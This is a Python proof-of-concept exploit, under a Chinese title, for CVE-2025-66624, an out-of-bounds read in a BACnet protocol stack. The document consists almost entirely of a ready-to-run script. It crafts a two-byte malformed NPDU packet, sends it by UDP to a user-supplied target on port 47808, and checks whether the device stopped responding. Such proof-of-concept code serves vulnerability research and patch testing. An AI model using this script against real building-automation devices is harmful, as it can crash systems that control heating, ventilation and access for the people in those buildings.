CVE-2025-66624 BACnet Protocol Stack 越界读取拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-66624 PoC - BACnet Protocol Stack Out-of-Bounds Read This PoC demonstrates the vulnerability by sending a malformed NPDU packet. """ import socket import struct def create_malformed_npdu(): """ Create a malformed NPDU packet that triggers the out-of-bounds read. The packet is only 2 bytes to cause offset+2, offset+3, offset+5 accesses to read beyond the buffer boundary. """ # Version byte (BACnet protocol version 1) version = 0x01 # Second byte can be anything - will cause offset=2 after decode control = 0x00 # Only 2 bytes - will trigger OOB read when npdu_is_expected_reply # tries to access request_pdu[offset+2], request_pdu[offset+3], etc. return bytes([version, control]) def send_bacnet_npdu(target_ip, target_port=47808): """ Send malformed NPDU to target BACnet device. Default BACnet port is 47808 (0xBAC0). """ malformed_packet = create_malformed_npdu() try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) print(f"[*] Sending malformed NPDU to {target_ip}:{target_port}") print(f"[*] Packet length: {len(malformed_packet)} bytes") print(f"[*] Packet hex: {malformed_packet.hex()}") sock.sendto(malformed_packet, (target_ip, target_port)) print("[+] Packet sent successfully") try: response, addr = sock.recvfrom(1024) print(f"[!] Received response from {addr}: {response.hex()}") except socket.timeout: print("[-] No response received (target may have crashed)") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve_2025_66624_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 47808 send_bacnet_npdu(target, port)